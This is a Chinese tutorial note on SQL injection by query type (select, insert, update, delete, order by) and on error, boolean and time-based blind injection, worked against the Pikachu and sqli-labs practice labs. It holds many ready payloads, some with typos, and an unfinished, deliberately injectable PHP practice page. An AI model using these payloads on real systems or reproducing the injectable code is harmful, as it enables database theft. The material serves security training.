第16篇：WEB漏洞~SQL注入~查询方式及报错盲注

• 1. 正文
• • 1.1. Web表单操作类型
  • 1.2. 盲注类型
  • 1.3. 盲注函数
• 2. 示例
• • 2.1. 各种查询方式注入测试（报错盲注）
  • 2.2. sqlilabs-less5注入测试（布尔盲注）
  • 2.3. sqlilabs-less2注入测试（延时盲注）
  • 2.4. sqlilabs-less6注入测试（排序盲注）
• 涉及资源

  当进行SQL注入时，有很多注入会出现无回显的情况，其中不回显的原因可能是SQL语句查询方式的问题导致的，这个时候我们需要用相关的报错或盲注进行后续操作，同时作为手工注入时，提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。（查询方式及回显盲注部分）

补充：上节的Access暴力猜解不出的问题
Access偏移注入：解决列名获取不到的情况
查看登录框源代码的表单或观察URL特征等也可以针对表或列获取不到的情况
观察网站地址特征经验，时可时不可

select 查询数据
select：在网站应用中进行数据显示查询操作
：select * from news where id=$id

insert 插入数据
在网站应用中进行用户注册添加等操作
：insert into news(id,url,text) value (2,‘tiga’,‘$daigu’)

delete 删除数据
后台管理删除文章删除用户等操作
：delete from news where id=$id

update 更新数据
会员或后台中心数据同步或缓存等操作
：update user set pwd=‘$p’ where id=2 and username=‘admin’

order by 排序数据
一般结合表名或列名进行数据排序操作
：select * from news order by $id

重点理解：
我们可以通过以上的查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的SQL查询方式

SQL注入报错盲注
盲注就是在注入过程中，获取数据不能回显至前端页面。此时，我们需要利用一些方法进行判断或者尝试，这个过程称之为盲注。盲注这里分为三类：

1. 基于布尔的SQL盲注-逻辑判断
   regex, like, ascall, left, ord, mid
2. 基于时间的SQL盲注-延时判断
   if, sleep
3. 基于报错的SQL盲注-报错回显
   floor, updatexml, extractvalue

根据网站情况选取，强制性报错回显，报错最快、逻辑比较复杂、延时根据网站的条件判断语句延时
12种报错注入+万能语句

参考：

1. insert无法order by

延时盲注：select * from member where id=1 and sleep(5)

select if(database()=‘pikachu’, 123, 456)

#payload:
#pikachu insert
1. username=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

2. username=x ' or updatexml(1,concat(0x7e,(version())),0) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

#extractvalue
username=x ' or extractvalue(1,concat(0x7e,database())),0) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

#pikachu updata
1. sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit

2. sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or updataexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit

3. sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or extractbalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit

#pikachu delete
1. /pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

2. /pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

3. /pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue+(1,concat(0x7e,database()))

#延迟盲注： 数据包头的空格需要用+号代替，因为数据头上空格是有意义的分隔符
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+

#注入语句写的位置，判断位置有没有带入数据库、数据格式（数字可有无引号）

查询出的数据不显示，仅判断有无正误等

id=1' and left(database(), 2)='se'--+

?id=1 and sleep(if(database()='a',5,0))--+
?id=1 and sleep(if(database()='security',5,0))--+

会被网络延时的情况影响判断，（无法直接爆破费时费力）
测试步骤：

1. 首先判断长度length(database()) = 8?
2. 依次截取判断，诸位判断具体值，mid、substr

?id=1 and sleep(if(mid(database(),1,1)='s',5,0))  # 或者ascall码对比（推荐）防止转义

3. 猜完数据库名猜表名，查询infomation表结合查询单个位置的字母
4. …持续猜解。。。

?id=1 and if(ascii(substr(select table_name from information_schema,tables where table_schema=database() limit 1,1))=114,sleep(3),0);

limit N,M : 相当于 limit M offset N , 从第 N 条记录开始, 返回 M 条记录

12种报错注入+万能语句
Order by排序注入方法小总结

insert注入练习


编号：

账号：

密码：





delete注入练习


编号：





update注入练习


账号：

密码：





';

//insert代码块
$id=@$_GET['i'];
$user=@$_GET['u'];
$pass=@$_GET['p'];
$conn=mysql_connect('localhost','root','root');
mysql_select_db('security',$conn);
$sql_i="insert into users(id,username,password) values($id,'$user','$pass')";
mysql_query($sql_i,$conn);
echo '当前sql执行语句：'.$sql_i;
echo '
'

//delete代码块
$i=@$_POST['i'];
$sql_d="delete from users where id=$i";


// 没抄完，视频只展示了40行未完待续
php>